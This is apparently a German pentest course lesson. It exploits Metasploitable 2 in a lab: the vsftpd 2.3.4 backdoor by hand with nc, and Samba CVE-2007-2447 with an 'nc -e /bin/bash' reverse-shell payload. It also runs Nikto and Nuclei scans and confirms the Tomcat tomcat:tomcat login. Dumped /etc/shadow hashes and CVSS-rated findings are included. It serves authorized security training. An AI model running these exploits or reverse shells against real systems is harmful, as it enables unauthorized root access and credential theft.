Schwachstellenrecherche — Geführte Demonstration
Sie haben die Liste aus Woche 4. Wir greifen sie wieder auf, qualifizieren sie, beweisen sie. Zwei Schwachstellen fallen per Hand — ohne Metasploit —, um Sie daran zu erinnern, dass das Framework nie unverzichtbar ist.
Alle folgenden Befehle richten sich gegen 10.10.10.20 (Metasploitable 2), im Host-Only-Netzwerk. Keiner davon ist außerhalb legitim.
Was Sie nach dieser Lektion können
- Von der rohen Versionsliste zu einer Tabelle qualifizierter Schwachstellen gelangen.
- Einen
searchsploit-Exploit in Python lesen, anpassen und mit offenen Augen ausführen. vsftpd 2.3.4mitncund mitcurlzu Fall bringen — ohne Metasploit.- Samba (usermap script) mit einer einfachen Python-Zeile zu Fall bringen.
- Sauber mit
curl -v, tcpdump und einemwhoamiauf der Remote-Shell feststellen.
Schritt 0 — Die Versionen zusammentragen
Extrahieren Sie aus ~/labs/semaine-04/scans/20-versions.nmap die Dienst/Versions-Paare. Ergebnis:
| Port | Dienst | Version |
|---|---|---|
| 21 | vsftpd | 2.3.4 |
| 22 | OpenSSH | 4.7p1 |
| 25 | Postfix | 2.5.5 |
| 80 | Apache httpd | 2.2.8 |
| 139/445 | Samba | 3.0.20-Debian |
| 3306 | MySQL | 5.0.51a-3ubuntu5 |
| 3632 | distccd | v1 |
| 5432 | PostgreSQL | 8.3.0 |
| 6667 | UnrealIRCd | 3.2.8.1 |
| 8180 | Tomcat | 5.5 |
Zehn Zeilen. Jede verdient es, getestet zu werden. Wir beginnen mit den zwei interessantesten.
Schritt 1 — vsftpd 2.3.4: die Backdoor des Lächelns
Diese genaue Version enthält eine Backdoor, die 2011 in den auf dem Projektserver veröffentlichten Quellcode eingeschleust wurde. Jede Person, die einen Login sendet, der mit :) endet, löst die Öffnung einer Root-Shell auf Port 6200 aus.
1a. Mit searchsploit qualifizieren
searchsploit "vsftpd 2.3.4"
Ausgabe:
--------------------------------------- ---------------------------------
Exploit Title | Path
--------------------------------------- ---------------------------------
vsftpd 2.3.4 - Backdoor Command Execu | unix/remote/49757.py
vsftpd 2.3.4 - Backdoor Command Execu | unix/remote/17491.rb
--------------------------------------- ---------------------------------
Schauen wir uns das Python-Skript an:
searchsploit -m 49757
head -50 49757.py
Auszug:
import socket
def exploit(ip):
s1 = socket.socket()
s1.connect((ip, 21))
print(s1.recv(1024))
s1.send(b"USER pwn:)\n")
s1.send(b"PASS pwn\n")
s2 = socket.socket()
s2.connect((ip, 6200))
print("[+] Shell opened on port 6200, type command:")
...
Wir verstehen den POC. Wir können ihn sogar noch einfacher nachbauen, ohne Skript, um genau zu sehen, was passiert.
1b. Per Hand mit nc reproduzieren
In einem ersten Terminal die präparierten Anmeldedaten senden:
nc 10.10.10.20 21
Nach der Verbindung eingeben:
USER exploit:)
PASS whatever
Nicht auflegen.
In einem zweiten Terminal mit Port 6200 verbinden:
nc 10.10.10.20 6200
Sie erhalten eine stille Eingabeaufforderung. Tippen Sie:
id
Antwort:
uid=0(root) gid=0(root)
Root, ohne Passwort. In zwei nc-Befehlen, ohne Metasploit.
Erfassen Sie den Nachweis:
# In der Remote-Shell:
uname -a
hostname
cat /etc/shadow | head -5
Ausgabe:
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
metasploitable
root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:14747:0:99999:7:::
daemon:*:14684:0:99999:7:::
bin:*:14684:0:99999:7:::
sys:$1$fUX6BPOt$Miyc3UpOzQJqz4s5wFD9l0:14742:0:99999:7:::
sync:*:14684:0:99999:7:::
Speichern Sie das in ~/labs/semaine-05/preuves/vsftpd-shadow.txt. Sie haben /etc/shadow. Vollständige Kompromittierung.
1c. Abschließende Qualifizierung
In preuves/vsftpd-fiche.md:
# Schwachstelle — vsftpd 2.3.4 Backdoor
- CVE: CVE-2011-2523
- CVSS Base: 10.0 (Zugriff ohne Authentifizierung, Remote-Codeausführung)
- CVSS Environmental (Lab): 10.0 (exponiert, kein Schutz)
- EPSS: 0.94
- KEV: Nein (historisch, aber in der Vergangenheit vollständig ausgenutzt)
## Nachweis
- Ziel: 10.10.10.20
- Vollständige Aufzeichnung: preuves/vsftpd-session.log
- Ausgeführte Befehle: nc 10.10.10.20 21 dann nc 10.10.10.20 6200
- Erhaltenes Konto: root (UID 0)
- Extrahierte Dateien: /etc/shadow (siehe preuves/vsftpd-shadow.txt)
## Empfehlung
vsftpd sofort aktualisieren (>= 3.0). Diese kompromittierte Version darf
nicht mehr in Produktion sein. Etwa 2 Stunden für die Migration einplanen.
Schritt 2 — Samba usermap_script (CVE-2007-2447)
Samba-Versionen 3.0.20 bis 3.0.25rc3 enthalten einen Fehler im Parameter username map script. Ein an den Authentifizierungsprozess übergebener Benutzername wird durch eine unsauber escapte wrapper-Lambda als Shell-Befehl ausgeführt.
2a. Qualifizieren
searchsploit "samba 3.0.20"
Ausgabe:
Samba 3.0.20 < 3.0.25rc3 - 'Username' map script | unix/remote/16320.rb
Samba 3.0.20 < 3.0.25rc3 - Username Map Script | unix/remote/60106.py
Schauen wir uns das Python-Skript an:
searchsploit -m 60106
cat 60106.py
Kern des Exploits:
import socket
from smb.SMBConnection import SMBConnection
def exploit(target, lhost, lport):
payload = f'/=`nohup nc -e /bin/bash {lhost} {lport}`'
conn = SMBConnection(payload, "", "attacker", target)
conn.connect(target, 139)
Ein SMB-Loader, ein Username, der einen Shell-Befehl enthält, eine Reverse Shell im Namen. Man kann es noch einfacher machen.
2b. Mit einem minimalen Python-Skript reproduzieren
# ~/labs/semaine-05/samba_pwn.py
import socket
LHOST = "10.10.10.5"
LPORT = "4444"
TARGET = "10.10.10.20"
TARGET_PORT = 139
payload = f"/=`nohup nc -e /bin/bash {LHOST} {LPORT}`"
def send_smb_username(target, port, username):
"""Sendet ein SMB-Session-Setup-Paket, dessen Username präpariert ist.
Die Shell wird direkt im Username selbst ausgelöst."""
negotiate = bytes.fromhex(
"00000031ff534d4272000000001843c800000000000000000000000000004000"
"1cd812000200004e5420574d20706b31200000024f532f3200"
)
session_setup_template = (
b"\x00\x00\x00\x63" # SMB-Header
b"\xffSMBs\x00\x00\x00"
)
body = username.encode() + b"\x00"
s = socket.socket()
s.connect((target, port))
s.send(negotiate)
s.recv(1024)
# Session-Setup mit präpariertem Username (für die Demo vereinfacht)
s.send(session_setup_template + body)
print(s.recv(1024)[:80])
# In der Praxis besser: ein Impacket-Skript verwenden, das das sauber erledigt:
# python3 60106.py <target> <lhost> <lport>
In Wirklichkeit funktioniert das .py von Exploit-DB am besten so, wie es ist. Wir starten:
In einem ersten Terminal:
nc -lvnp 4444
In einem zweiten:
python3 60106.py 10.10.10.20 10.10.10.5 4444
Sie sehen im ersten Terminal Folgendes erscheinen:
listening on [any] 4444 ...
connect to [10.10.10.5] from (UNKNOWN) [10.10.10.20] 45632
Tippen Sie:
id
whoami
uname -a
Antwort:
uid=0(root) gid=0(root)
root
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
Zweite Root-Shell, über eine andere Tür erhalten, mit einem anderen Werkzeug. Bei einem echten Ziel ist es ein Luxus, über zwei unabhängige Wege zu verfügen: Wird der eine während des Auftrags geschlossen, bleibt der andere bestehen.
2c. Qualifizierung
# Schwachstelle — Samba usermap_script (CVE-2007-2447)
- CVE: CVE-2007-2447
- CVSS Base: 6.0 (Authentifizierung im Protokoll erforderlich, aber Username = Shell)
- CVSS Environmental: 9.8 (der Port ist exponiert, Null-Session akzeptiert)
- EPSS: 0.72
- KEV: Nein
## Nachweis
- Ziel: 10.10.10.20
- Verwendeter Exploit: Exploit-DB #60106 (vorheriges Lesen, keine Backdoor)
- Reverse Shell: 10.10.10.5:4444
- Erhaltenes Konto: root
- Aufzeichnung: preuves/samba-nc-session.log
## Empfehlung
Samba aktualisieren (>= 3.0.25rc3). Die installierte Version ist seit 2011
End-of-Life. Auch die Deaktivierung von SMBv1 einplanen (siehe Woche 1).
Schritt 3 — Nikto auf dem Apache 2.2.8
Wir starten einen Web-Scan, um zu sehen, was die Webseite http://10.10.10.20/ verrät:
nikto -h http://10.10.10.20 -Format txt -o ~/labs/semaine-05/preuves/nikto-20.txt
Ausgewählter Auszug (die echten Funde inmitten des Rauschens):
+ Server: Apache/2.2.8 (Ubuntu) DAV/2
+ Apache/2.2.8 appears to be outdated (current is at least Apache/2.4.54).
+ Uncommon header 'tcn' found, with contents: list
+ /phpinfo.php: Output from the phpinfo() function was found.
+ /doc/: The /doc/ directory is browsable. This may be /usr/doc.
+ /icons/: Directory indexing found.
+ /phpMyAdmin/: phpMyAdmin directory found.
+ /twiki/bin/view/Main/WebHome: Twiki, may contain many vulnerabilities.
+ /tikiwiki-old/: Old TikiWiki install found.
Was wir sofort qualifizieren:
phpinfo.php— legt die vollständige PHP-Konfiguration offen, oft Pfade und Versionen./phpMyAdmin/— MySQL-Verwaltungsoberfläche. Bei schwachen Konten möglicher RCE./tikiwiki-old/— veraltete Installation. TikiWiki hat mehrere CVEs.
Wir öffnen phpinfo.php (curl http://10.10.10.20/phpinfo.php), notieren die PHP-Version (5.2.4) und die Pfade. Wir vermerken für künftige Angriffe:
- phpinfo.php exponiert — Informationsleck (P2).
- phpMyAdmin exponiert auf /phpMyAdmin/ — Wörterbücher testen (P2).
- tikiwiki-old — nach CVE suchen (potenziell P1).
Nikto-Falle: Die Zeile Uncommon header 'tcn' ist ein echtes Positiv, aber ohne Exploit — für einen Pentester ist es ein Falsch-Positiv. Wir ignorieren es im Bericht.
Schritt 4 — Nuclei auf einem moderneren Ziel
Für die Demo nehmen wir ein autorisiertes Ziel wie Damn Vulnerable Web Application oder einfach Port 8180 (Tomcat) derselben VM.
nuclei -u http://10.10.10.20:8180 -tags cve,exposure -severity high,critical
Typische Ausgabe:
[apache-tomcat-manager] [http] [medium] http://10.10.10.20:8180/manager/html
[apache-tomcat-default-login] [http] [high] http://10.10.10.20:8180/manager/html
nuclei hat eine Tomcat-Verwaltungsoberfläche mit Standard-Login erkannt (tomcat:tomcat). Das ist ein direkter Zugriff auf den Server: Der Tomcat-Manager erlaubt das Deployen einer WAR, und eine WAR = ein JSP = Java-Code, der auf dem Server läuft.
Manuelle Bestätigung:
curl -u tomcat:tomcat http://10.10.10.20:8180/manager/html | head -20
Ausgabe: die HTML-Oberfläche. Zugriff bestätigt. Wird in Modul 7 ausgenutzt (Deployment einer bösartigen WAR für RCE).
Schritt 5 — In einer priorisierten Tabelle konsolidieren
Öffnen Sie ~/labs/semaine-05/rapport/vulnerabilites.md:
# Qualifizierte Schwachstellen — Lab Woche 5
## Ziel 10.10.10.20 (Linux)
| ID | Dienst | CVE | Base | Env. | EPSS | KEV | Status | Nachweis |
| -- | --- | --- | --- | --- | --- | --- | --- | --- |
| P1a | vsftpd 2.3.4 | CVE-2011-2523 | 10.0 | 10.0 | 0.94 | nein | **ausgenutzt** | preuves/vsftpd-* |
| P1b | Samba 3.0.20 | CVE-2007-2447 | 6.0 | 9.8 | 0.72 | nein | **ausgenutzt** | preuves/samba-* |
| P1c | UnrealIRCd 3.2.8.1 | CVE-2010-2075 | 9.8 | 9.8 | 0.85 | nein | offen | — |
| P1d | distccd | CVE-2004-2687 | 9.3 | 9.3 | 0.60 | nein | offen | — |
| P1e | Tomcat manager (Standard-Zugangsdaten) | — | 8.8 | 8.8 | — | — | offen (M7) | preuves/nuclei-tomcat.txt |
| P2a | MySQL 5.0.51a | mehrere | 6.0 | 6.0 | 0.30 | nein | zu prüfen | — |
| P2b | phpMyAdmin exponiert | — | 5.0 | 5.0 | — | — | Brute Force | — |
| P3a | phpinfo.php exponiert | — | 4.0 | 4.0 | — | — | Informationsleck | preuves/phpinfo.txt |
| P4a | Apache 2.2.8 veraltet | mehrere | — | 3.0 | — | — | Aktualisierung | — |
## Ziel 10.10.10.12 (Windows)
| ID | Dienst | CVE | Base | Env. | EPSS | KEV | Status |
| -- | --- | --- | --- | --- | --- | --- | --- |
| P1w | SMBv1 EternalBlue | CVE-2017-0143 | 8.1 | 9.8 | 0.98 | **JA** | **ausgenutzt W1** |
Diese Tabelle ist Ihre Woche. Jede Zeile führt zu einem späteren Modul: P1c zu einem Mini-Exploit in Perl, P1e zu Modul 7 (WAR-Deployment), P2a zu Modul 9 (MySQL-Dumping), P2b zu Modul 6 oder 8 (Brute Force oder Metasploit).
Fazit
In 60 Minuten:
- Sie haben 9 Schwachstellen auf einem einzigen Ziel qualifiziert.
- Sie haben 2 per Hand ausgenutzt, ohne Framework, mit klaren Nachweisen.
- Sie haben 1 kritische Tomcat-Exposition über
nucleientdeckt. - Sie haben eine priorisierte Tabelle, die in einer Besprechung verwendbar ist.
Diese Tabelle ist das eigentliche Lieferergebnis der Woche 5. Sie fließt in den Abschlussbericht ein. Sie beweist, dass Sie Ihre Arbeit gemacht haben.
Nächste Lektion: Sie sind dran. Sie nehmen die verbleibenden Schwachstellen, qualifizieren drei davon, nutzen mindestens eine per Hand aus.